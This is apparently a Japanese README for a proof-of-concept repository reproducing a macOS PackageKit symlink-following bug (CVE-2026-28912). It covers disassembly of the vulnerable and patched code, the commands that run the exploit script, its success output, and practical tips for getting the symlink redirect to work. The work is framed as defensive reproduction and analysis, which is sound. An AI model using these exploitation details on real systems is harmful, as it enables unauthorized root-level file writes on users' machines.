macOS PackageKit のシンボリックリンク追跡バグ(CVE-2026-28912)の独立したリバースエンジニアリング、およびインストール先パス内のディレクトリシンボリックリンクを通じて、攻撃者が制御するファイルを root 権限でインストーラに書き込ませることを実証する動作する PoC を収録しています。
このバグは PKCoreShove のファイル再リンク処理における非同期なパス走査です。悪意のある .pkg は、非特権ディレクトリ内の宛先パスを宣言し、パスコンポーネントの1つに特権的な場所を指すディレクトリシンボリックリンクを配置することで、root として実行されているインストーラにシンボリックリンクのターゲットへ書き込ませることができます。Apple の 26.6 の修正では _PKSIPOpenPathSafely が追加され、各パスコンポーネントを O_NOFOLLOW で走査し、シンボリックリンクを拒否します。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-28912 |
| コンポーネント | PackageKit (PKCoreShove, PKBundleComponent) |
| 影響を受ける | macOS Tahoe 26.5 以前 |
| 修正済み | macOS Tahoe 26.6 |
| アドバイザリの影響 | 「アプリが root 権限を取得できる可能性があります。」 |
| CVSS v3.1 | 7.8 (High) |
| 報告者 | Apple のアドバイザリによる元の発見者 |
CVE-2026-28912 に関する Apple のアドバイザリは、影響と修正バージョンを文書化しています。しかし、技術的なメカニズムについては文書化していません:
執筆時点で公開された技術的な記事は見つかりませんでした。このリポジトリは、26.4 から 26.6 の間の PackageKit の独立したリバースエンジニアリング分析と、プリミティブを実際に実証する動作する PoC によって、そのギャップを埋めます。
これは発見の主張ではありません。CVE は元の発見者によって報告され、Apple によって修正されました。ここでの貢献は技術分析と再現です。
macOS 26.4 の PKCoreShove _relinkFile:dest: は、ファイルを作成する際に宛先パスをコンポーネントごとに走査します:
; macOS 26.4, PackageKit
1a9fb14f8 _relinkFile:dest:
...
bl _linkResolutionProhibitted ; returns 0 in the normal case
mov w8, 0x10 ; RENAME_NOFOLLOW_ANY
cmp w0, 0
csel w22, w8, wzr, ne ; w22 = 0x10 if prohibited, else 0
...
mov x2, x22
bl _renamex_np ; uses w22 as flags
_linkResolutionProhibitted は、呼び出し元プロセスが SIP ファイルを変更できない場合 — ユーザーが開始したインストールの通常のケース — に 0(false)を返します。これにより RENAME_NOFOLLOW_ANY が無効になり、rename が宛先パス内の任意のシンボリックリンクを追跡します。
26.6 の修正では _PKSIPOpenPathSafely が追加され、PKBundleComponent の initWithBundleAtPath:relativeToDestination: から呼び出されます:
; macOS 26.6, PackageKit
1aa6dfe18 bl _PKSIPOpenPathSafely ; walks each component with O_NOFOLLOW
_PKSIPOpenPathSafely:
意図されたパスの外を指すシンボリックリンクであるコンポーネントは、EPERM または ELOOP で拒否され、インストールは失敗します。
完全な記事は docs/ANALYSIS.md、アドレスとログサンプルは docs/ARTIFACTS.md を参照してください。
link.sh — 単一ファイルの自己完結型 PoC:
実証された影響はシンボリックリンク追跡プリミティブです — これは 26.6 の修正が塞ぐ正確な動作です。
PoC は完全にターゲット上で実行されます。シンボリックリンクとペイロードは両方ともローカルで作成されます。これにより、ネットワーク設定なしで PoC が自己完結的かつ再現可能になります。
chmod +x link.sh
./link.sh
環境変数によるオプションの調整:
sudo CONTENT="test content" ./link.sh
CONTENT はシンボリックリンクを通じて書き込まれる内容を設定します。デフォルトは hello です。
[*] System information:
ProductName: macOS
ProductVersion: 26.4
BuildVersion: 25E246
[*] Setup...
Symlink: /Users/nerd/cve-poc/target → /Users/nerd/cve-poc/real
[*] Build .pkg...
Payload: /Users/nerd/cve-poc/payload/Users/nerd/cve-poc/target/poc.txt
Package: /Users/nerd/cve-poc/poc.pkg
[*] Install (password prompt expected)...
installer: Package name is poc
installer: Installing at base path /
installer: The install was successful.
[✓] VULNERABILITY CONFIRMED
Landed at /Users/nerd/cve-poc/real/poc.txt
Owner: root:wheel
Content: hello
CVE-2026-28912 trigger SUCCESSFUL
修正済みシステム(26.6)では、同じ PoC が失敗します:
[✗] Not triggered
No file was created in /Users/nerd/cve-poc/real/
逆アセンブリの比較は docs/PATCH_DIFF.md を参照してください。
PoC の2つの詳細は開発中に発見され、同様のツールを構築する他の人が同じ問題に遭遇しないよう、ここに文書化されています:
シンボリックリンクはインストーラが走査するパスコンポーネントに配置する必要があります。宛先リーフのファイルレベルのシンボリックリンクは renamex_np によって置き換えられます。パスの途中にあるディレクトリシンボリックリンクのみが追跡されます。
ペイロードパスは宛先パスをミラーする必要があります。pkgbuild --install-location / では、ペイロードパスは先頭の / を除いた宛先パスです。それらが一致しない場合、インストーラはシンボリックリンクを通じて走査しません。
どちらも docs/ANALYSIS.md に文書化されています。
CVE-2026-28912 は、インストーラを root として実行するためにユーザーのパスワードを必要とします。そのパスワードはインストールのためのものであり、シンボリックリンク書き込みのためのものではありません。ユーザーは $HOME/cve-poc/target/ への書き込みを承認し、脆弱性は書き込みをシンボリックリンクが指す先へリダイレクトします。2つのパスは異なり、ユーザーはその違いを見ることはありません。
このリポジトリは、防御的なセキュリティ研究と教育のみを目的として提供されています。
MIT。LICENSE を参照してください。